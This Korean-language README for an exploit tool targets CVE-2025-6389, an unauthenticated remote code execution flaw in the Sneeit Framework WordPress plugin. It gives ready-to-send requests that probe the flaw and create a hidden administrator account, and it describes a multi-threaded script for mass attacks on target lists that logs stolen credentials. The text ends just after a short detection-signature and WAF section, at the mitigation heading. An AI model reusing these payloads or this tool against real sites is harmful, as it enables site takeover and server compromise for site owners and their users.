CVE-2025-6389

Sneeit Framework <= 8.3 - sneeit_articles_pagination_callback에서의 인증되지 않은 원격 코드 실행

    _______      ________    ___   ___ ___  _____         __ ____   ___   ___  
  / ____\ \    / /  ____|  |__ \ / _ \__ \| ____|       / /|___ \ / _ \ / _ \ 
 | |     \ \  / /| |__ ______ ) | | | | ) | |__ ______ / /_  __) | (_) | (_) |
 | |      \ \/ / |  __|______/ /| | | |/ /|___ \______| '_ \|__ < > _ < \__, |
 | |____   \  /  | |____    / /_| |_| / /_ ___) |     | (_) |__) | (_) |  / / 
  \_____|   \/   |______|  |____|\___|/____|____/       \___/____/ \___/  /_/  

🧠 개요

CVE-2025-6389는 WordPress용 Sneeit Framework 플러그인에서 발견된 CVSS 9.8 Critical 등급의 원격 코드 실행 취약점입니다.

이 결함은 sneeit_articles_pagination_callback() 함수에 존재하며, 이 함수는 사용자가 제공한 입력값을 PHP의 call_user_func()에 무비판적으로 전달합니다. 즉, 인증되지 않은 공격자가 wp_insert_user를 포함한 임의의 PHP 함수를 임의의 인자로 호출할 수 있으며, 이를 통해 사실상 완전한 관리자 액세스 권한을 획득하거나 서버 측 코드를 실행할 수 있습니다.

💀 취약점 심층 분석

근본 원인은 플러그인의 AJAX 핸들러에서 PHP의 call_user_func()를 잘못 사용한 데 있습니다:

// 인증 확인 없이 등록됨
add_action('wp_ajax_nopriv_sneeit_articles_pagination', 'sneeit_articles_pagination_callback');

function sneeit_articles_pagination_callback() {
    $callback = $_POST['callback'];  // ← 사용자가 제어하는 함수 이름
    $args     = json_decode(stripslashes($_POST['args']), true); // ← 사용자가 제어하는 인자

    // 검증 없이 임의의 PHP 함수를 임의의 인자로 호출
    $result = call_user_func($callback, ...$args);

    echo $result;
    die();
}

이것이 치명적인 이유:

• wp_ajax_nopriv_* = 로그인 없이 누구나 접근 가능
• call_user_func($callback, $args) = 임의 함수 호출
• 공격자는 var_dump, system, wp_insert_user, eval 또는 모든 PHP/WordPress 함수를 호출할 수 있음
• 응답이 직접 반환되므로 블라인드 및 비블라인드(verbose) RCE가 모두 가능

⚔️ 익스플로잇 체인

Step 1 — 프로브 / 핑거프린팅
──────────────────────────────────────────────────────────────────
POST /wp-admin/admin-ajax.php
  action   = sneeit_articles_pagination
  callback = var_dump
  args     = ["test"]

예상 응답 → array(1) { [0]=> string(4) "test" }
  ↓
확인됨: call_user_func()에 도달 가능하며 출력이 반영됨

──────────────────────────────────────────────────────────────────
Step 2 — 관리자 계정 생성
──────────────────────────────────────────────────────────────────
POST /wp-admin/admin-ajax.php
  action   = sneeit_articles_pagination
  callback = wp_insert_user
  args     = {"user_login":"Nxploited_XXXX",
               "user_pass":"xplpass",
               "user_email":"...",
               "role":"administrator"}

결과 → 대상에 새 관리자 계정이 조용히 생성됨
  ↓
전체 WordPress 관리자 패널 액세스 권한 획득 ✔️

⚙️ 요구 사항

pip install requests rich

Python 3.8+ 필요. 타입 힌트는 3.9+에서 도입된 tuple[...] 구문을 사용하므로 최상의 호환성을 위해 3.9+ 사용을 권장합니다.

📂 파일 구조

CVE-2025-6389/
├── CVE-2025-6389.py          # 메인 익스플로잇 스크립트
├── list.txt                  # 대상 URL — 줄당 하나씩
├── success_results.txt       # 자동 생성: 성공한 대상 + 자격 증명
└── debug_responses/          # 자동 생성: 디버깅용 원시 서버 응답
    └── <target>.resp.txt

🚀 사용법

1단계 — 대상 준비

줄당 하나의 URL로 list.txt를 생성하세요:

https://target1.com
https://target2.com
http://target3.com

http:// 또는 https://가 없는 URL에는 자동으로 http://가 접두사로 추가됩니다.

2단계 — 익스플로잇 실행

python CVE-2025-6389.py

다음과 같은 프롬프트가 표시됩니다:

Targets file name (default list.txt): list.txt
Number of threads (default 10):       20

3단계 — 실시간 대시보드

이 스크립트는 실시간 Rich 대시보드를 실행하여 다음을 표시합니다:

┌─────────────────────────────────────────────────────────────────────┐
│  [ASCII BANNER]                                                      │
├──────────────────────────────┬──────────────────────────────────────┤
│  Info                        │  Stats                               │
│  Usage: Put targets in...    │  Total Targets:  150                 │
│  Threads: 20                 │  Processed:      87                  │
│  Password: xplpass           │  Successes:      12                  │
│  Success Log: success...     │  Failures:       75                  │
│  Debug Dir: debug_responses  │  Elapsed:        00:01:43            │
├──────────────────────────────┴──────────────────────────────────────┤
│  Recent Results                                                      │
│  Time     Target                              Result                 │
│  14:23:01 https://victim.com                  SUCCESS               │
│  14:23:03 https://example.net                 FAIL                  │
└─────────────────────────────────────────────────────────────────────┘

4단계 — 결과 검토

성공한 익스플로잇은 success_results.txt에 저장됩니다:

https://victim.com | USER: Nxploited_4821 | PASS: xplpass | EMAIL: [email protected]

디버그 응답(실패한 대상의 경우)은 debug_responses/ 아래에 저장됩니다:

debug_responses/
└── https___victim.com.resp.txt   ← 분석용 원시 서버 응답

🖥️ 스크립트 매개변수 참조

📊 탐지 시그니처

이 익스플로잇은 다음과 같은 네트워크 시그니처를 생성합니다 — 방어자와 WAF 규칙 작성자에게 유용합니다:

POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded

action=sneeit_articles_pagination&callback=<FUNCTION>&args=<JSON>

WAF / IDS 규칙 (의사코드):

IF request.method == POST
AND request.path  == "/wp-admin/admin-ajax.php"
AND request.body CONTAINS "sneeit_articles_pagination"
AND request.body CONTAINS "callback"
THEN BLOCK + ALERT

🛡️ 완화 및 해결 방안

사이트 소유자, 개발자 또는 방어자라면 다음 단계를 즉시 수행하세요: